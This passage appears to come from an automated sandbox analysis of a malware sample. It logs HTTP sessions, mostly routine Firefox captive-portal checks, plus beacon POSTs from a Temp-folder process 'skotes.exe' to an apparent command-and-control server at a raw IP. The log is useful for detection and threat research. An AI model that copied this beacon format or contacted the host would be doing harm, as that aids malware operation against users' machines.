Nov 20, 2024 08:11:57.522586107 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74374 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:07.542319059 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:08.969646931 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:09.066801071 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74386 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:09.467396975 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:09.564970016 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74386 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:10.024964094 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:10.121073008 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74387 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:11.482887983 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:11.578847885 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74388 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:17.979434967 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:18.075797081 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74395 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:28.151093006 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:37.694863081 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:37.790695906 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74414 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:12:47.850080967 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:57.943455935 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:58.803033113 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:12:58.898926020 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74435 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:13:08.957184076 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:19.039716959 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:29.141313076 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:39.241841078 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:49.342722893 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:14:19.322982073 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:14:19.419795990 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74516 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 20, 2024 08:14:38.418171883 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 20, 2024 08:14:38.514805079 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 19 Nov 2024 10:32:23 GMT Age: 74535 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50292	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:38.872404099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:39.550733089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	50302	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:39.330610991 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	50303	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:39.535268068 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	50305	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:39.719688892 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	50309	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:40.034266949 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	50310	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:40.155757904 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	50312	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:40.526737928 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:40.971832991 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79721 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:41.266202927 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:41.361058950 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79722 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:44.665412903 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:44.761862040 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79725 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:45.729602098 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:45.824592113 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79726 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:11:55.839905977 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:11:57.526246071 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:11:57.633359909 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79738 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:07.642972946 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:09.070250034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:09.164999962 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79750 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:09.568193913 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:09.664674997 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79750 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:10.127711058 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:10.223170042 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79751 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:11.582792044 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:11.677659988 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79752 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:18.079933882 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:18.174776077 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79759 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:28.251817942 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:37.794126034 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:37.888864994 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79778 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:12:47.950818062 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:58.044150114 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:12:58.903120041 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:12:58.997893095 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79799 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:13:09.057945967 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:19.140316963 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:29.241960049 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:39.342576981 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:13:49.443358898 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 20, 2024 08:14:19.423386097 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:14:19.518125057 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79880 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 20, 2024 08:14:38.519138098 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 20, 2024 08:14:38.613615990 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 19 Nov 2024 09:02:59 GMT Age: 79899 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	50313	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:41.282987118 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:11:42.078126907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50314	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:11:43.919639111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:11:44.606935978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50317	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
